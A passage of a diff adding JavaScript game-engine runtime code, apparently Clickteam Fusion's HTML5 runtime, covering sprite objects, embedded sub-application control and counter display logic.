+ {
+ var pHo = this.hoAdRunHeader.rhObjectList[num];
+ if (pHo.rom != null)
+ {
+ pHo.roc.rcDir = dir;
+ pHo.rom.initSimple(pHo, CMoveDef.MVTYPE_BULLET, false);
+ pHo.roc.rcSpeed = p.shtSpeed;
+ pHo.rom.rmMovement.init2(this);
+
+ if (nLayer != -1)
+ {
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_SPRITES) != 0)
+ {
+ var layer = this.hoAdRunHeader.rhFrame.layers[nLayer];
+ if ((layer.dwOptions & (CLayer.FLOPT_TOHIDE | CLayer.FLOPT_VISIBLE)) != CLayer.FLOPT_VISIBLE)
+ {
+ pHo.ros.obHide();
+ }
+ }
+ }
+
+ // Met l'objet dans la liste des objets selectionnes
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ this.hoAdRunHeader.rhEvtProg.evt_AddCurrentObject(pHo);
+
+ // Force l'animation SHOOT si definie
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ if ((this.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0)
+ {
+ if (this.roa.anim_Exist(CAnim.ANIMID_SHOOT))
+ {
+ this.roa.animation_Force(CAnim.ANIMID_SHOOT);
+ this.roa.animation_OneLoop();
+ }
+ }
+ }
+ else
+ {
+ this.hoAdRunHeader.destroy_Add(pHo.hoNumber);
+ }
+ }
+ },
+
+ fixedValue: function ()
+ {
+ return (this.hoCreationId << 16) | (this.hoNumber & 0xFFFF);
+ },
+
+ init: function (ocPtr, cob)
+ {
+ },
+
+ handle: function ()
+ {
+ },
+
+ callComputeNewDisplay: function ()
+ {
+
+ },
+
+ createFont: function ()
+ {
+ },
+
+ display: function ()
+ {
+ },
+
+
+ kill: function (bFast)
+ {
+ },
+
+ getSurface: function (context)
+ {
+ return false;
+ },
+
+ getCollisionMask: function (flags)
+ {
+ return null;
+ },
+
+ setEffect: function (effect, effectParam)
+ {
+ },
+
+ addSprite: function (x, y, i, layer, bShow)
+ {
+ },
+
+ addOwnerDrawSprite: function (x, y, layer, bQD, bShow, index)
+ {
+ },
+
+ delSprite: function ()
+ {
+ return 0;
+ },
+
+ showSprite: function ()
+ {
+ },
+
+ hideSprite: function ()
+ {
+ },
+
+ setTransparency: function (t)
+ {
+ },
+
+ getChildIndex: function ()
+ {
+ return -1;
+ },
+
+ getChildMaxIndex: function ()
+ {
+ return 0;
+ },
+
+ setChildIndex: function (index)
+ {
+ },
+
+ autoResize: function ()
+ {
+ },
+
+ forcePosition: function ()
+ {
+ }
+ }
+
+ // CActive class
+ // ----------------------------------------------------------------
+ function CActive()
+ {
+ this.smoothing = false;
+ this.image = null;
+ this.bShown = false;
+ this.nLayer = 0;
+ this.pLayer = null;
+ this.startFade = 0;
+ this.sprite = null;
+ this.bHandCursor = false;
+ this.rcRotate = null;
+ this.ptRotate = null;
+ this.bVisible = true;
+ this.scaleX = 1.0;
+ this.scaleY = 1.0;
+ this.angle = 0;
+ this.x = 0;
+ this.y = 0;
+ this.transitionImage = null;
+ }
+ CActive.prototype = CServices.extend(new CObject(),
+ {
+ handle: function ()
+ {
+ this.ros.handle();
+ if (this.roc.rcChanged)
+ {
+ this.roc.rcChanged = false;
+ }
+ },
+ addSprite: function (xx, yy, ii, layer, bShow)
+ {
+ this.nLayer = layer;
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ this.bShown = bShow;
+ this.pLayer.planeSprites.addChild(this);
+ },
+ draw: function (context, xx, yy)
+ {
+ if (this.bShown)
+ {
+ if ((this.hoFlags & CObject.HOF_FADEIN) != 0 && !this.ros.rsTrans)
+ {
+ return;
+ }
+
+ var effect = this.ros.rsEffect;
+ if (this.ros.rsFlags & CRSpr.RSFLAG_ROTATE_ANTIA)
+ effect |= CRSpr.BOP_SMOOTHING;
+ var image = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(this.roc.rcImage);
+ if (image)
+ {
+ if (!this.transitionImage)
+ {
+ context.renderImage(image, xx + this.hoX - this.hoAdRunHeader.rhWindowX + this.pLayer.x,
+ yy + this.hoY - this.hoAdRunHeader.rhWindowY + this.pLayer.y,
+ this.roc.rcAngle, this.roc.rcScaleX, this.roc.rcScaleY,
+ effect, this.ros.rsEffectParam);
+ }
+ else
+ {
+ context.renderSimpleImage(this.transitionImage, xx + this.hoX - this.hoAdRunHeader.rhWindowX + this.pLayer.x - image.xSpot,
+ yy + this.hoY - this.hoAdRunHeader.rhWindowY + this.pLayer.y - image.ySpot,
+ this.transitionImage.width * this.roc.rcScaleX, this.transitionImage.height * this.roc.rcScaleY,
+ effect, this.ros.rsEffectParam);
+ }
+ }
+ }
+ },
+ delSprite: function ()
+ {
+ return this.pLayer.planeSprites.removeChild(this);
+ },
+ showSprite: function ()
+ {
+ this.bShown = true;
+ },
+ hideSprite: function ()
+ {
+ this.bShown = false;
+ },
+ getChildIndex: function ()
+ {
+ return this.pLayer.planeSprites.getChildIndex(this);
+ },
+ getChildMaxIndex: function ()
+ {
+ return this.pLayer.planeSprites.children.length;
+ },
+ setChildIndex: function (index)
+ {
+ if (index >= this.pLayer.planeSprites.children.length)
+ {
+ index = this.pLayer.planeSprites.children.length;
+ }
+ if (index < 0)
+ {
+ index = 0;
+ }
+ this.pLayer.planeSprites.setChildIndex(this, index);
+ },
+
+ setTransparency: function (t)
+ {
+ this.ros.rsEffect = CRSpr.BOP_BLEND;
+ this.ros.rsEffectParam = t;
+ }
+
+
+ });
+
+ // Sub application object
+ // ----------------------------------------------------------------
+ CCCA.CCAF_SHARE_GLOBALVALUES = 0x00000001;
+ CCCA.CCAF_SHARE_LIVES = 0x00000002;
+ CCCA.CCAF_SHARE_SCORES = 0x00000004;
+ CCCA.CCAF_SHARE_WINATTRIB = 0x00000008;
+ CCCA.CCAF_STRETCH = 0x00000010;
+ CCCA.CCAF_POPUP = 0x00000020;
+ CCCA.CCAF_CAPTION = 0x00000040;
+ CCCA.CCAF_TOOLCAPTION = 0x00000080;
+ CCCA.CCAF_BORDER = 0x00000100;
+ CCCA.CCAF_WINRESIZE = 0x00000200;
+ CCCA.CCAF_SYSMENU = 0x00000400;
+ CCCA.CCAF_DISABLECLOSE = 0x00000800;
+ CCCA.CCAF_MODAL = 0x00001000;
+ CCCA.CCAF_DIALOGFRAME = 0x00002000;
+ CCCA.CCAF_INTERNAL = 0x00004000;
+ CCCA.CCAF_HIDEONCLOSE = 0x00008000;
+ CCCA.CCAF_CUSTOMSIZE = 0x00010000;
+ CCCA.CCAF_INTERNALABOUTBOX = 0x00020000;
+ CCCA.CCAF_CLIPSIBLINGS = 0x00040000;
+ CCCA.CCAF_SHARE_PLAYERCTRLS = 0x00080000;
+ CCCA.CCAF_MDICHILD = 0x00100000;
+ CCCA.CCAF_DOCKED = 0x00200000;
+ CCCA.CCAF_DOCKING_AREA = 0x00C00000;
+ CCCA.CCAF_DOCKED_LEFT = 0x00000000;
+ CCCA.CCAF_DOCKED_TOP = 0x00400000;
+ CCCA.CCAF_DOCKED_RIGHT = 0x00800000;
+ CCCA.CCAF_DOCKED_BOTTOM = 0x00C00000;
+ CCCA.CCAF_REOPEN = 0x01000000;
+ CCCA.CCAF_MDIRUNEVENIFNOTACTIVE = 0x02000000;
+
+ function CCCA()
+ {
+ this.flags = 0;
+ this.odOptions = 0;
+ this.subApp = null;
+ this.oldX = 0;
+ this.oldY = 0;
+ this.level = -1;
+ this.oldLevel = -1;
+ this.layer = null;
+ this.bVisible = true;
+ }
+ CCCA.prototype = CServices.extend(new CObject(),
+ {
+ // init:function(ocPtr, cob)
+ startCCA: function (ocPtr, bInit, nStartFrame)
+ {
+ var defCCA = ocPtr.ocObject;
+
+ this.hoImgWidth = defCCA.odCx;
+ this.hoImgHeight = defCCA.odCy;
+ this.odOptions = defCCA.odOptions;
+
+ if ((this.odOptions & CCCA.CCAF_STRETCH) != 0)
+ {
+ this.odOptions |= CCCA.CCAF_CUSTOMSIZE;
+ }
+
+ if (nStartFrame == -1)
+ {
+ nStartFrame = 0;
+ if ((this.odOptions & CCCA.CCAF_INTERNAL) != 0)
+ {
+ nStartFrame = defCCA.odNStartFrame;
+ }
+ }
+
+ // Change l'extension
+ if (defCCA.odName == null || defCCA.odName.length != 0)
+ return;
+ if ((this.odOptions & CCCA.CCAF_INTERNAL) == 0)
+ return;
+ if (nStartFrame >= this.hoAdRunHeader.rhApp.gaNbFrames)
+ return;
+ if (nStartFrame == this.hoAdRunHeader.rhApp.currentFrame)
+ return;
+
+ if ((ocPtr.ocFlags2 & CObjectCommon.OCFLAGS2_VISIBLEATSTART) != 0)
+ this.bVisible = true;
+ else
+ this.bVisible = false;
+ this.appSprite = new Sprite();
+ this.appSprite.x = this.hoX - this.hoAdRunHeader.rhWindowX;
+ this.appSprite.y = this.hoY - this.hoAdRunHeader.rhWindowY;
+ this.hoAdRunHeader.rhApp.mainSprite.addChild(this);
+ this.oldX = this.hoX;
+ this.oldY = this.hoY;
+
+ this.subApp = new CRunApp(this.hoAdRunHeader.rhApp, this.hoAdRunHeader.rhApp.file, this.hoAdRunHeader.rhApp.path, true);
+ this.subApp.setParentApp(this.hoAdRunHeader.rhApp, nStartFrame, this.odOptions, this.appSprite, this.hoImgWidth, this.hoImgHeight);
+
+ this.subApp.digest();
+
+ //Register itself as the modal subapp
+ if ((this.odOptions & CCCA.CCAF_MODAL) != 0) {
+ if (this.hoAdRunHeader.rhApp.modalSubappObject == null) {
+ this.hoAdRunHeader.rhApp.modalSubappObject = this;
+ this.hoAdRunHeader.rhApp.run.pause();
+ }
+ }
+
+ this.subApp.startApplication();
+ this.subApp.setMouseOffsets((this.hoAdRunHeader.rhApp.xMouseOffset + this.appSprite.x) * this.hoAdRunHeader.rhApp.scaleX,
+ (this.hoAdRunHeader.rhApp.yMouseOffset + this.appSprite.y) * this.hoAdRunHeader.rhApp.scaleY);
+ this.subApp.stepApplication();
+ this.hoAdRunHeader.rhApp.subApps.push(this.subApp);
+ },
+
+ init: function (ocPtr, cob)
+ {
+ this.startCCA(ocPtr, true, -1);
+ },
+
+ handle: function ()
+ {
+ this.rom.move();
+ if (this.subApp != null)
+ {
+ if (this.oldX != this.hoX || this.oldY != this.hoY)
+ {
+ this.appSprite.x = this.hoX - this.hoAdRunHeader.rhWindowX;
+ this.appSprite.y = this.hoY - this.hoAdRunHeader.rhWindowY;
+ this.oldX = this.hoX;
+ this.oldY = this.hoY;
+ this.subApp.setMouseOffsets(this.appSprite.x * this.hoAdRunHeader.rhApp.scaleX, this.appSprite.y * this.hoAdRunHeader.rhApp.scaleY);
+ this.updateChildControlPos();
+ }
+ if (this.subApp.stepApplication() == false)
+ {
+ this.destroyObject();
+ if ((this.odOptions & CCCA.CCAF_MODAL) != 0 && this.subApp.parentApp != null) {
+ if (this.subApp.parentApp.modalSubappObject == this) {
+ this.subApp.parentApp.modalSubappObject = null;
+ this.subApp.parentApp.run.resume();
+ }
+ }
+ this.subApp = null;
+ return;
+ }
+ this.oldLevel = this.level;
+ this.level = this.subApp.currentFrame;
+ }
+ },
+
+ draw: function (context, xx, yy)
+ {
+ if (!this.bVisible) return;
+ if (this.subApp != null)
+ {
+ this.subApp.drawSubApplication(context, this.appSprite.x, this.appSprite.y);
+ }
+ },
+
+ kill: function (bFast)
+ {
+ if (this.subApp != null)
+ {
+ switch (this.subApp.appRunningState)
+ {
+ case 3: // SL_FRAMELOOP:
+ this.subApp.endFrame();
+ break;
+ }
+ this.destroyObject();
+ this.subApp.endApplication();
+ if ((this.odOptions & CCCA.CCAF_MODAL) != 0 && this.subApp.parentApp != null) {
+ if (this.subApp.parentApp.modalSubappObject == this) {
+ this.subApp.parentApp.modalSubappObject = null;
+ this.subApp.parentApp.run.resume();
+ }
+ }
+ this.subApp = null;
+ }
+ },
+
+ destroyObject: function ()
+ {
+ var n;
+ for (n = 0; n < this.hoAdRunHeader.rhApp.subApps.length; n++)
+ {
+ if (this.hoAdRunHeader.rhApp.subApps[n] == this.subApp)
+ {
+ this.hoAdRunHeader.rhApp.subApps.splice(n, 1);
+ break;
+ }
+ }
+ this.hoAdRunHeader.rhApp.mainSprite.removeChild(this.appSprite);
+ },
+
+ restartApp: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.rhQuit = CRun.LOOPEXIT_NEWGAME;
+ return;
+ }
+ this.kill(true);
+ }
+ this.startCCA(this.hoCommon, false, -1);
+ },
+
+ endApp: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.rhQuit = CRun.LOOPEXIT_ENDGAME;
+ }
+ if ((this.odOptions & CCCA.CCAF_MODAL) != 0 && this.subApp.parentApp != null) {
+ if (this.subApp.parentApp.modalSubappObject == this) {
+ this.subApp.parentApp.modalSubappObject = null;
+ this.subApp.parentApp.run.resume();
+ }
+ }
+ }
+ },
+
+ hide: function ()
+ {
+ this.bVisible = false;
+ },
+
+ show: function ()
+ {
+ this.bVisible = true;
+ },
+
+ jumpFrame: function (frame)
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ if (frame >= 0 && frame < 4096)
+ {
+ this.subApp.run.rhQuit = CRun.LOOPEXIT_GOTOLEVEL;
+ this.subApp.run.rhQuitParam = 0x8000 | frame;
+ }
+ }
+ }
+ },
+
+ nextFrame: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.rhQuit = CRun.LOOPEXIT_NEXTLEVEL;
+ }
+ }
+ },
+
+ previousFrame: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.rhQuit = CRun.LOOPEXIT_PREVLEVEL;
+ }
+ }
+ },
+
+ restartFrame: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.rhQuit = CRun.LOOPEXIT_RESTART;
+ }
+ }
+ },
+
+ pause: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.pause();
+ }
+ }
+ },
+
+ resume: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ this.subApp.run.resume();
+ }
+ }
+ },
+
+ setGlobalValue: function (number, value)
+ {
+ if (this.subApp != null)
+ {
+ this.subApp.setGlobalValueAt(number, value);
+ }
+ },
+
+ setGlobalString: function (number, value)
+ {
+ if (this.subApp != null)
+ {
+ this.subApp.setGlobalStringAt(number, value);
+ }
+ },
+
+ isPaused: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.subApp.run != null)
+ {
+ return this.subApp.run.rh2PauseCompteur != 0;
+ }
+ }
+ return false;
+ },
+
+ appFinished: function ()
+ {
+ return this.subApp == null;
+ },
+
+ isVisible: function ()
+ {
+ return this.bVisible;
+ },
+
+ frameChanged: function ()
+ {
+ return this.level != this.oldLevel;
+ },
+
+ getGlobalString: function (num)
+ {
+ if (this.subApp != null)
+ {
+ return this.subApp.getGlobalStringAt(num);
+ }
+ return "";
+ },
+
+ getGlobalValue: function (num)
+ {
+ if (this.subApp != null)
+ {
+ return this.subApp.getGlobalValueAt(num);
+ }
+ return 0;
+ },
+
+ getFrameNumber: function ()
+ {
+ return this.level + 1;
+ },
+
+ setWidth: function (width)
+ {
+ },
+
+ setHeight: function (height)
+ {
+ },
+
+ bringToFront: function ()
+ {
+ if (this.subApp != null)
+ {
+ if (this.bVisible)
+ {
+ hoAdRunHeader.rhApp.planeControls.removeChild(this);
+ hoAdRunHeader.rhApp.planeControls.addChild(this);
+ }
+ }
+ },
+
+ updateChildControlPos: function () {
+ if (this.subApp != null && this.subApp.run != null) {
+ var rh = this.subApp.run;
+ var count = 0;
+ var no;
+ for (no = 0; no < rh.rhNObjects; no++) {
+ while (rh.rhObjectList[count] == null)
+ count++;
+ var hoPtr = rh.rhObjectList[count];
+ count++;
+ hoPtr.forcePosition();
+ }
+ }
+ },
+
+ autoResize: function () {
+ this.subApp.setMouseOffsets((this.hoAdRunHeader.rhApp.xMouseOffset + this.appSprite.x) * this.hoAdRunHeader.rhApp.scaleX,
+ (this.hoAdRunHeader.rhApp.yMouseOffset + this.appSprite.y) * this.hoAdRunHeader.rhApp.scaleY);
+ if (this.subApp != null)
+ this.subApp.resizeCanvas();
+ }
+
+ });
+
+ // CRCom object
+ // --------------------------------------------------------------------
+ function CRCom()
+ {
+ this.rcPlayer = 0;
+ this.rcMovementType = 0;
+ this.rcAnim = 0;
+ this.rcImage = -1;
+ this.rcScaleX = 1.0;
+ this.rcScaleY = 1.0;
+ this.rcAngle = 0;
+ this.rcDir = 0;
+ this.rcSpeed = 0;
+ this.rcMinSpeed = 0;
+ this.rcMaxSpeed = 0;
+ this.rcChanged = false;
+ this.rcCheckCollides = false;
+
+ this.rcOldX = 0;
+ this.rcOldY = 0;
+ this.rcOldImage = -1;
+ this.rcOldAngle = 0;
+ this.rcOldDir = 0;
+ this.rcOldX1 = 0;
+ this.rcOldY1 = 0;
+ this.rcOldX2 = 0;
+ this.rcOldY2 = 0;
+ }
+ CRCom.prototype =
+ {
+ init: function ()
+ {
+ this.rcScaleX = 1.0;
+ this.rcScaleY = 1.0;
+ this.rcAngle = 0;
+ this.rcMovementType = -1;
+ },
+ kill: function (bFast)
+ {
+ }
+ }
+
+ // CCounter object
+ // ---------------------------------------------------------------
+ CCounter.CPTDISPFLAG_INTNDIGITS = 0x000F;
+ CCounter.CPTDISPFLAG_FLOATNDIGITS = 0x00F0;
+ CCounter.CPTDISPFLAG_FLOATNDIGITS_SHIFT = 4
+ CCounter.CPTDISPFLAG_FLOATNDECIMALS = 0xF000;
+ CCounter.CPTDISPFLAG_FLOATNDECIMALS_SHIFT = 12;
+ CCounter.CPTDISPFLAG_FLOAT_FORMAT = 0x0200;
+ CCounter.CPTDISPFLAG_FLOAT_USENDECIMALS = 0x0400;
+ CCounter.CPTDISPFLAG_FLOAT_PADD = 0x0800;
+ function CCounter()
+ {
+ this.type = 0;
+ this.rsValue = 0;
+ this.rsMini = 0;
+ this.rsMaxi = 0;
+ this.rsBoxCx = 0;
+ this.rsBoxCy = 0;
+ this.bShown = false;
+ this.bQuickDisplay = false;
+ this.rsColor1 = 0;
+ this.rsColor2 = 0
+ this.rsOldFrame = 0;
+ this.nIndex = 0;
+ this.displayFlags = 0;
+ this.bDeleted = false;
+ this.bFloat = false;
+ this.plane = null;
+ this.pLayer = null;
+ this.fontHeight = 0;
+ this.font = null;
+ this.bAddedToPlane = false;
+ this.computed = false;
+ }
+
+ CCounter.prototype = CServices.extend(new CObject(),
+ {
+ init: function (ocPtr, cob)
+ {
+ this.rsFont = -1;
+ this.rsColor1 = 0;
+ this.rsColor2 = 0;
+ this.hoImgWidth = this.hoImgHeight = 1;
+
+ if (this.hoCommon.ocCounters == null)
+ {
+ this.hoImgWidth = this.rsBoxCx = 1;
+ this.hoImgHeight = this.rsBoxCy = 1;
+ }
+ else
+ {
+ var ctPtr = this.hoCommon.ocCounters;
+ this.hoImgWidth = this.rsBoxCx = ctPtr.odCx;
+ this.hoImgHeight = this.rsBoxCy = ctPtr.odCy;
+ this.displayFlags = ctPtr.odDisplayFlags;
+ this.type = ctPtr.odDisplayType;
+ switch (this.type)
+ {
+ case 5:
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ nFont = ctPtr.odFont;
+ this.font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(nFont);
+ this.fontHeight = this.font.getHeight();
+ this.rsColor1 = ctPtr.ocColor1;
+ break;
+ case 2:
+ case 3:
+ this.rsColor1 = ctPtr.ocColor1;
+ this.rsColor2 = ctPtr.ocColor2;
+ break;
+ case 1:
+ break;
+ case 4:
+ break;
+ }
+ }
+
+ var cPtr = this.hoCommon.ocObject;
+ this.rsMini = cPtr.ctMini;
+ this.rsMaxi = cPtr.ctMaxi;
+ this.rsValue = cPtr.ctInit;
+ this.bFloat = false;
+ },
+
+ kill: function ()
+ {
+ },
+
+ handle: function ()
+ {
+ this.ros.handle();
+ if (this.roc.rcChanged)
+ {
+ this.roc.rcChanged = false;
+ }
+ },
+
+ getFont: function ()
+ {
+ var adCta = this.hoCommon.ocCounters;
+ if (this.type == 5)
+ {
+ var nFont = rsFont;
+ if (nFont == -1)
+ nFont = adCta.odFont;
+ return this.hoAdRunHeader.rhApp.fontBank.getFontInfoFromHandle(nFont);
+ }
+ return null;
+ },
+
+ setFont: function (font, size)
+ {
+ if (this.type == 5)
+ {
+ this.rsFont = this.hoAdRunHeader.rhApp.fontBank.addFont(font);
+ this.font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(this.rsFont);
+ this.fontHeight = this.font.getHeight();
+ if (size != null)
+ {
+ this.hoImgWidth = this.rsBoxCx = size.right - size.left;
+ this.hoImgHeight = this.rsBoxCy = size.bottom - size.top;
+ }
+ this.computeNewDisplay();
+ }
+ },
+
+ getFontColor: function ()
+ {
+ return this.rsColor1;
+ },
+
+ setFontColor: function (rgb)
+ {
+ this.rsColor1 = rgb;
+ this.computeNewDisplay();
+ },
+
+ cpt_ToFloat: function (pValue)
+ {
+ if (this.bFloat == false)
+ {
+ if (CServices.isInt(pValue))
+ return;
+ this.bFloat = true;
+ }
+ },
+
+ cpt_Change: function (pValue)
+ {
+ if (this.bFloat == false)
+ {
+ var value = CServices.floatToInt(pValue);
+ if (value < this.rsMini)
+ value = this.rsMini;
+ if (value > this.rsMaxi)
+ value = this.rsMaxi;
+ if (value != Math.round(this.rsValue))
+ {
+ this.rsValue = value;
+ this.roc.rcChanged = true;
+ this.computeNewDisplay();
+ }
+ }
+ else
+ {
+ if (pValue < this.rsMini)
+ pValue = this.rsMini;
+ if (pValue > this.rsMaxi)
+ pValue = this.rsMaxi;
+ if (pValue != this.rsValue)
+ {
+ this.rsValue = pValue;
+ this.roc.rcChanged = true;
+ this.computeNewDisplay();
+ }
+ }
+ },
+
+ cpt_Add: function (pValue)
+ {
+ this.cpt_ToFloat(pValue);
+ this.cpt_Change(this.rsValue + pValue);
+ },
+
+ cpt_Sub: function (pValue)
+ {
+ this.cpt_ToFloat(pValue);
+ this.cpt_Change(this.rsValue - pValue);
+ },
+
+ cpt_SetMin: function (value)
+ {
+ this.rsMini = value;
+ this.cpt_Change(this.rsValue);
+ },
+
+ cpt_SetMax: function (value)
+ {
+ this.rsMaxi = value;
+ this.cpt_Change(this.rsValue);
+ },
+
+ cpt_SetColor1: function (rgb)
+ {
+ this.rsColor1 = rgb;
+ this.computeNewDisplay();
+ },
+
+ cpt_SetColor2: function (rgb)
+ {
+ this.rsColor2 = rgb;
+ this.computeNewDisplay();
+ },
+
+ cpt_GetValue: function ()
+ {
+ return this.rsValue;
+ },
+
+ cpt_GetMin: function ()
+ {
+ return this.rsMini;
+ },
+
+ cpt_GetMax: function ()
+ {
+ return this.rsMaxi;
+ },
+
+ cpt_GetColor1: function ()
+ {
+ return this.rsColor1;
+ },
+
+ cpt_GetColor2: function ()
+ {
+ return this.rsColor2;
+ },
+
+ addOwnerDrawSprite: function (xx, yy, layer, quickDisplay, shown, index)
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+ if (this.bAddedToPlane == true)
+ return;
+
+ this.bAddedToPlane = true;
+ this.bQuickDisplay = quickDisplay;
+ this.bShown = shown;
+
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ if (this.bQuickDisplay)
+ this.plane = this.pLayer.planeQuickDisplay;
+ else
+ this.plane = this.pLayer.planeSprites;
+
+ if (index < 0)
+ this.plane.addChild(this);
+ else
+ this.plane.addChildIndex(this, index);
+
+ if (this.type != 5)
+ this.computeNewDisplay();
+ },
+
+ delSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return -1;
+ if (this.bAddedToPlane == false)
+ return -1;
+
+ this.bAddedToPlane = false;
+ var index = this.plane.getChildIndex(this);
+ this.plane.removeChild(this);
+ return index;
+ },
+
+ getChildIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ {
+ return this.plane.getChildIndex(this);
+ }
+ return -1;
+ },
+
+ getChildMaxIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ return this.plane.getNumChildren();
+ return -1;
+ },
+
+ setChildIndex: function (index)
+ {
+ if (this.bAddedToPlane)
+ this.plane.setChildIndex(this, index);
+ },
+
+ showSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+
+ if (this.bShown == false)
+ {
+ this.bShown = true;
+ this.computeNewDisplay();
+ }
+ },
+
+ hideSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+
+ if (this.bShown == true)
+ {
+ this.bShown = false;
+ }
+ },
+
+ callComputeNewDisplay: function ()
+ {
+ if (!this.computed)
+ this.computeNewDisplay();
+ },
+
+ computeNewDisplay: function ()
+ {
+ var image;
+ var s;
+ var nbl;
+
+ var adCta = this.hoCommon.ocCounters;
+ switch (this.type)
+ {
+ case 4:
+ if (this.rsMaxi <= this.rsMini)
+ this.rsOldFrame = 0;
+ else
+ this.rsOldFrame = Math.floor(((this.rsValue - this.rsMini) * adCta.nFrames) / (this.rsMaxi - this.rsMini));
+ this.rsOldFrame = Math.min(this.rsOldFrame, adCta.nFrames - 1);
+ image = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(adCta.frames[Math.max(this.rsOldFrame, 0)]);
+ this.hoImgWidth = image.width;
+ this.hoImgHeight = image.height;
+ this.hoImgXSpot = image.xSpot;
+ this.hoImgYSpot = image.ySpot;
+ break;
+ case 2:
+ case 3:
+ nbl = this.rsBoxCx;
+ if (adCta.odDisplayType == CDefCounters.CTA_VBAR)
+ nbl = this.rsBoxCy;
+ if (this.rsMaxi <= this.rsMini)
+ this.rsOldFrame = 0;
+ else
+ this.rsOldFrame = (((this.rsValue - this.rsMini) * nbl) / (this.rsMaxi - this.rsMini));
+ if (adCta.odDisplayType == CDefCounters.CTA_HBAR)
+ {
+ this.hoImgYSpot = 0;
+ this.hoImgHeight = this.rsBoxCy;
+ this.hoImgWidth = this.rsOldFrame;
+ if ((adCta.odDisplayFlags & CDefCounters.BARFLAG_INVERSE) != 0)
+ this.hoImgXSpot = this.rsOldFrame - this.rsBoxCx;
+ else
+ this.hoImgXSpot = 0;
+ }
+ else
+ {
+ this.hoImgXSpot = 0;
+ this.hoImgWidth = this.rsBoxCx;
+ this.hoImgHeight = this.rsOldFrame;
+ if ((adCta.odDisplayFlags & CDefCounters.BARFLAG_INVERSE) != 0)
+ this.hoImgYSpot = this.rsOldFrame - this.rsBoxCy;
+ else
+ this.hoImgYSpot = 0;
+ }
+ break;
+ case 1:
+ if (this.bFloat == false)
+ s = CServices.intToString(this.rsValue, this.displayFlags);
+ else
+ s = CServices.doubleToString(this.rsValue, this.displayFlags);
+ var i;
+ var c;
+ var img;
+ var ifo;
+ var dx = 0, dy = 0;
+
+ for (i = s.length - 1; i >= 0; i--)
+ {
+ c = s.charCodeAt(i);
+ img = 0;
+ if (c == 45)
+ img = adCta.frames[10];
+ else if (c == 46)
+ img = adCta.frames[12];
+ else if (c == 43)
+ img = adCta.frames[11];
+ else if (c == 101 || c == 69)
+ img = adCta.frames[13];
+ else if (c >= 48 && c <= 57)
+ img = adCta.frames[c - 48];
+ if (img >= 0)
+ {
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(img);
+ if (ifo != null)
+ {
+ dx += ifo.width;
+ dy = Math.max(dy, ifo.height);
+ }
+ else
+ {
+ toto = 2;
+ }
+ }
+ }
+ this.hoImgXSpot = dx;
+ this.hoImgYSpot = dy;
+ this.hoImgWidth = dx;
+ this.hoImgHeight = dy;
+ break;
+ case 5:
+ if (this.bFloat == false)
+ s = CServices.intToString(this.rsValue, this.displayFlags);
+ else
+ s = CServices.doubleToString(this.rsValue, this.displayFlags);
+ var w;
+ if (this.textSurface != null)
+ w = this.textSurface.measureText(s, this.font);
+ else
+ {
+ var ts = new CTextSurface(this.hoAdRunHeader.rhApp, 16, 16);
+ w = ts.measureText(s, this.font);
+ }
+ this.hoImgXSpot = w;
+ this.hoImgYSpot = this.rsBoxCy / 2 + this.fontHeight / 2;
+ this.hoImgWidth = w;
+ this.hoImgHeight = this.fontHeight;
+ if (this.textSurface == null)
+ this.textSurface = new CTextSurface(this.hoAdRunHeader.rhApp, this.hoImgWidth, this.hoImgHeight);
+ else
+ {
+ if (this.hoImgWidth > this.textSurface.width || this.hoImgHeight > this.textSurface.height)
+ this.textSurface.resize(this.hoImgWidth, this.hoImgHeight);
+ }
+ var rect = new CRect(0, 0, 1000, 1000);
+ this.textSurface.setText(s, CServices.DT_LEFT | CServices.DT_TOP, rect, this.font, this.rsColor1);
+ break;
+ }
+ this.computed = true;
+ },
+
+ draw: function (context, xx, yy)
+ {
+ if (!this.bShown || !this.computed) return;
+
+
+ var image;
+ var color1, color2;
+ var s;
+
+ var adCta = this.hoCommon.ocCounters;
+ var x = xx + this.hoX - this.hoImgXSpot - this.hoAdRunHeader.rhWindowX + this.pLayer.x;
+ var y = yy + this.hoY - this.hoImgYSpot - this.hoAdRunHeader.rhWindowY + this.pLayer.y;
+ var cx = this.hoImgWidth;
+ var cy = this.hoImgHeight;
+ switch (this.type)
+ {
+ case 4:
+ image = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(adCta.frames[Math.max(this.rsOldFrame, 0)]);
+ context.renderImage(image, x + image.xSpot, y + image.ySpot, 0, 1.0, 1.0, this.ros.rsEffect, this.ros.rsEffectParam);
+ break;
+ case 2:
+ case 3:
+ var color1 = this.rsColor1;
+ var color2 = this.rsColor2;
+ switch (adCta.ocFillType)
+ {
+ case 1:
